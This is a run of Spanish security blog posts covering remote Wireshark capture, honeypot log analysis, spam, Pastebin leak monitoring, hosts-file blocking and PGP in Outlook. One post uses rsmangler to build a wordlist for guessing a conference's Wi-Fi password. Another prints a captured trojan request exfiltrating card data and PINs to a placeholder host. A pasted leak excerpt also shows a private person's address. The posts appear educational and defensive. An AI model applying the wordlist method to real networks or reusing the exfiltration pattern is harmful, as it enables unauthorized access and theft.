Uno de las posibles vías es realizar una captura de datos remotos.

Esto es posible con Wireshark, ya que te permite hacer la recogida del tráfico de una máquina remota.

Necesitaremos que la máquina remota esté ejecutando rdpcap que viene incluído cuando instalas winpcap en entornos Windows.

Con esto ya estamos preparados en Wireshark para poder lanzarlo contra la máquina que hace server.

En Wireshark, en el apartado capture,  cambiamos LOCAL por REMOTE y..

Ya estamos listos para recoger los datos capturados en la máquina de la cual queríamos obtener los datos.

Imaginemos pues, que nos estamos enfrentando a la red Wireless que están usando en el congreso No cON Name.

Es comun que usen como password nombres propios de la organización o evento, pensemos que han usado un password que se parezca a No cON Name, así que, en vez de crear la lista de palabras a mano usaremos un generador de palabras, de manera que podamos abarcar todas las opciones posibles.

Para ello, vuelvo a traer rsmangler que nos ayudará en ello.

Así que generamos un fichero con la lista de palabras, en mi caso noconname

Y usamos rsmangler para que nos ayude a generar el diccionario deseado.

Así que usamos

rsmangler.rb –file palabras.txt >> dic.txt

Y el resultado que obtenemos, que lo he recortado para que sea mas fácil de mirar es:

oconnamenoconname
emannocon
Noconname
NOCONNAME
noconnameed
noconnameing
n0c0nn4m3
noconname!
noconname@
noconname
noconname�
noconname$
noconname%
noconname^
noconname&
noconname*
noconname(
noconname)
01noconname
noconname01
02noconname
noconname02
03noconname
noconname03

Hay un total de 283 palabras para probar

Post cortito para un día liado.

Y es por eso que es un gran problema tanto para organizaciones como para usuarios finales.

En una de mis cuentas de Gmail, he recibido un mensaje de correo electrónico,

Cuando recibí el correo, lo primero que me paré a pensar es que mi registrador de dominio había cambiado las notifcaciones..

Pero en el precio y el formato del mensaje estaba la trampa. El precio era excesivamente mas caro de lo que pago yo cada año, así que me dio a  sospechar enseguida. Además en la dirección del correo en el De: el dominio era muy raro.

Lo que no había visto hasta ahora es que te incluyeran datos reales de tu whois. Si hace sun whois a seifreed.com

Domain Name: seifreed.com

Registrant Contact:
Privacidad Whois
Privacidad Whois sl
seifreed_com872@privacidadwhois.com
AP 570
Santiago de Compostela A Coruna
15080 ES
Telf: +34.627089328

Evidentemente los datos del teléfono no son correctos, que para eso funcionan los whois privado

Cuando hablaba de SPAM dirigido lo decía porque, por ejemplo si miramos el dominio de email desde el cual se ha enviado el correo de SPAM, podemos ver.

Podemos ver toda la estructura a la que pertenece dicho dominio, hasta llegar a:

Vaya, parece que se dedican a registrar dominios realmente..

En fin otra campaña mas de SPAM a usuarios finales.

Kippo que es el honeypot que estoy usando va guardando un log por día, ahora mismo tengo unos 6 archivos de log distintos así que ahora lo que voy ha hacer es contar la cantidad de logones fallidos del total de logs.

cat kippo.log | awk ‘/failed/ { print $5 }’ | grep -v on | wc -l

En una semana el resultado a sido de 4782 accesos de logon fallidos. ¿Increible no?

Ahora vamos al apartado de las Ip’s porque al intentar el acceso de logon, la IP queda registrada.

Para extraer la IP:

cat kippo.log.6 | awk ‘/HoneyPotTransport/ { print $3 }’ | cut -d “,” -f3 | grep -v SSH | cut -d “]” -f1 | sort -u

Han habido 7 IP’s implicadas en el ataque, de estas Ip, los ataques vienen de EStados unidos, de China, de Mongolia, y.. de ESPAÑA!

La lista de IP’s era:

116.114.20.148
173.255.246.112
199.127.103.157
203.34.37.16
211.154.224.238
37.157.249.167
80.103.180.135

Ahora pasamos a la parte de usuarios y password, empezamos

 cat kippo.log.6 | awk ‘/attempt/ { print $9 }’ | cut -d “[" -f2 | cut -d "]” -f1

La cantidad de combinaciones que se han usado es 4502

De estas combinaciones, la cantidad de usuarios únicos ha sido de 3744

Para la parte de contraseñas se han usado 4034

En la parte de RDP, que también dejé capturando que llegaba, también han habido resultados

Las ip’s registradas son:

112.64.207.90
12.198.222.17
125.211.197.142
184.105.139.216
204.140.27.133
211.191.168.25
229.143.195.200
2.50.27.150
82.144.67.181

Son Ip’s procedentes de Rusia, China, Emiratos Árabes etc..

Dentro de poco tengo pensado montar otro tipo de Honeypot, de parte web por ejemplo. Será una buena fuente de información

Hay que tener mucho cuidado con lo que se va dejando por ahí, un log en Pastebin, Metadatos en los documentos, son cosas que cada vez hay que concienciarse de que no se deben tomar a la ligera.

Ya existen herramientas que monitorizan Pastebin, de manera que cuando aparece un dato de interés a los que estan detrás de esa informaciónes les es, muy fácil el poder enterarse.

Otro tipo de servicios es el que traigo se trata leakedin, Este servicio se encarga de dar a conocer en que sitios (Pastebin), se ha colgado información que podria ser, mas bien información personal.  Un archivo subido a Dropbox, una clave RSA etc..

Podemos encontrara cosas como:

Detected 1 occurrence(s) of ‘http[s]*:\/\/dl\.dropbox\.com\/’:

<img src="http://dl.dropbox.com/u/149660/389075560.jpg">

Send a SELF-ADDRESSED STAMPED ENVELOPE (this means it has your address already written on it and an unused stamp in the upper-right corner!) to:

Ben Combee<br>
5607 Joe Sayers Ave<br>
Austin, TX 78756<br>

If you include somethin

Sin duda interesante.

La web del proyecto la podéis encontrar aquí.

Tened cuidado lo que vais dejando por ahí.

Una de las cosas bastante eficaces que se pueden es que a ciertos dominios/IP no nos podamos conectar, así nos protegeremos. ¿Como se consigue esto? Pues haciendo que dichas peticiones a ciertos sitios siempre vayan 127.0.0.1 es decir, a localhost.

¿Esto de que nos libra?

Pues nos libra de que si navegamos por ejemplo por páginas webs legítimas, que contienen por ejemplo un iframe a un “conocido” host que contiene malware la conexión no se realizará.

Otro caso es por ejemplo el de troyanos que se dedican por ejemplo a pedirte los datos bancarios “por seguridad”. Obviamente estos troyanos lo que buscan es engañar al usuario para que introduzca sus datos bancarios y poder enviarlos a un host destino.

Si miramos ese tipo de trazas con Wireshark, veríamos algo del tipo

POST /images/check.asp HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 962
Host: DOMINIO_MALICIOSO
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

1=45678976&2=1234&3=1234&4=47897654&5=4567&6=5467&7=5879654774587741&8=06%2F14&9=887&10=7188&11=145%2D4564&12=146%2D5646&13=147%2D5456&14=148%2D4564&15=149%2D5645&16=150%2D6156&17=151%2D1894&18=152%2D8918&19=153%2D9189&20=154%2D1891&21=155%2D8984&22=156%2D5445&23=157%2D6156&24=158%2D1561&25=159%2D5615&26=160%2D6118&27=161%2D9948&28=162%2D9489&29=163%2D1891&30=164%2D8918&31=165%2D1891&32=166%2D8189&33=167%2D1891&34=168%2D8918&35=169%2D9189&36=170%2D1891&37=171%2D8918&38=172%2D1891&39=173%2D1998&40=174%2D1891&41=175%2D8918&42=176%2D9115&43=177%2D1561&44=178%2D1156&45=179%2D1565&46=180%2D1561&47=181%2D5619&48=182%2D1984&49=183%2D8948&50=184%2D9189&51=185%2D1891&52=186%2D9919&53=187%2D8189&54=188%2D1891&55=189%2D8918&56=190%2D9189&57=191%2D1189&58=192%2D1891&59=193%2D8918&60=194%2D9189&61=195%2D8918&62=196%2D9891&63=197%2D8918&64=198%2D9189&65=199%2D1981&66=200%2D8918&67=201%2D9189&68=202%2D1981&69=203%2D8918&70=204%2D9811&71=manodacaixa%40gmail%2Ecom&HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 22 May 2012 12:40:57 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/html
Set-Cookie: ASPSESSIONIDASSSCADB=BIJLMGIBAJPPPDFIDBPMKBJH; path=/
Cache-control: private

Todo el “churro” que se envía son los datos que el usuario ha rellenado sobre su tarjeta, su PIN etc…

Si el HOST destino, ya se conoce como malicioso los datos nunca se enviarían, es decir, nos ofrece protección en la navegación y en el envío de datos a URL/Ip maliciosas.

Otro tipo de troyanos, lo que hacen es, una vez que han infectado la máquina se descargan mas binarios de su servidor que les hace de panel de control (C&C).

Se podría mitigar también redirigiendo las peticiones a localhost.

Y es  por eso, por lo que proyectos como hphosts nos ayudan en esta tarea.

Descargamos el archivo de aquí

¿Que tenemos en este archivo?

C:\Users\seifreed\Downloads\hphosts>wc -l HOSTS.txt
183792 HOSTS.txt

Tenemos  183792 entradas repartidas entre IP’S y URL que son de carácter malicioso, de manera que si intentan conectarse fallarán.

Y eso es todo por hoy

He probado diversidad de software y al final la solución que mejor me ha ido es la que menos me esperaba, desde luego.

Uno de los primeros software que probé fue el de GPG4Win, este Software ne funciono bien en otras ocasiones con versiones de Outlook 2003 y 2007, funcionaba bien, y no quedaba colgado ni nada.

Pero en las nuevas versiones de Outlook, la 2010 ya no funciona , Entonces probé otro software, gpg4o, este software una vez lo instalas parece que todo es muy bonito pero es una trial por lo que poco puedes usarlo en realidad.

Otro de los software que aparecía como referencia es OutlookGnuGPG. Este addon es solo para Outlook 2007, así que también te quedas sin soporte en las últimas versiones de Outlook 2010.

Además estaba buscando una solución que no me volviera el cliente de correo lento.. y que me permitiera elegir de manera “elegante” las claves.

Y por fin “llego la luz” y pude encontrar la solución que estaba buscando, se trata de Outlook privacy plugin.

Este addon funciona PERFECTAMENTE en versiones Outlook 2010 tanto en x86 como en x64.

Así que, no sufráis mas, con esto ya os sirve por si necesitáis poder firmar en Outlook 2010.

Se trata de Outlook privacy plugin

Se queda instalado como un complemento mas en Outlook

Así que quedará perfectamente instalado para que se pueda usar de manera cómoda.

Hace ya semanas que mi ordenador de sobremesa murió y la verdad es que no lo estaba usando para nada y quería volver a recuperar mi estación de trabajo, este ordenador se me ha quedado ya pobre ya que no renuevo nada de él desde que me lo compré hace 4 años. Entonces el ordenador tenía 4GB de RAM y un Intel Core Dos Duo, ahora se me ha estropeado una ranura de RAM así que ahora se me ha quedado con 3GB :\

En fin, decidí quitarme Windows 7, y me he puesto Ubuntu Server, así que lo usaré para trabajar si hace falta ahora mismo trabajo mucho con mi portátil es donde tengo todas las máquinas virtuales y hago todas las pruebas para el blog.

Cuando me instalo el ordenador de casa, la verdad es que le habilito varios servicios para mi imprescindibles, uno de ellos es OpenVPN así puedo acceder de manera segura a los recursos de la red, por si necesito algo, y me otorga privacidad si quiero tunelizar conexiones a través de ahí.

También habilito SSH, para conexiones con mi máquina trasferencia de ficheros etc.. Evidentemente nunca en los puertos por defecto.

Otra de las cosas que me sirven para montarme un Proxy y navegar, por ejemplo, de manera anónima es montar Tor, que además me otorga privacidad y anonimato. Tor lo puedes encadenar con privoxy y Polipo para obtener una mayor satisfacción.

Además activaré mis servicios de HoneyPot que tengo creados para obtener Intel de los ataques.

Pues nada, después de ordenar las cosas, y ponerme al día vuelvo a escribir aquí ;D

Creo que todo el mundo se apenó cuando la serie de cálico dejó de emitirse, así que para mas de uno y entre los que me incluyo estamos MUY contentos de que haya vuelto. Además ahora cuenta con el Soporte de Informática64, así que seguro que Chema no dejará que el proyecto se hunda 

Recordar seguir a Cálico Electrónico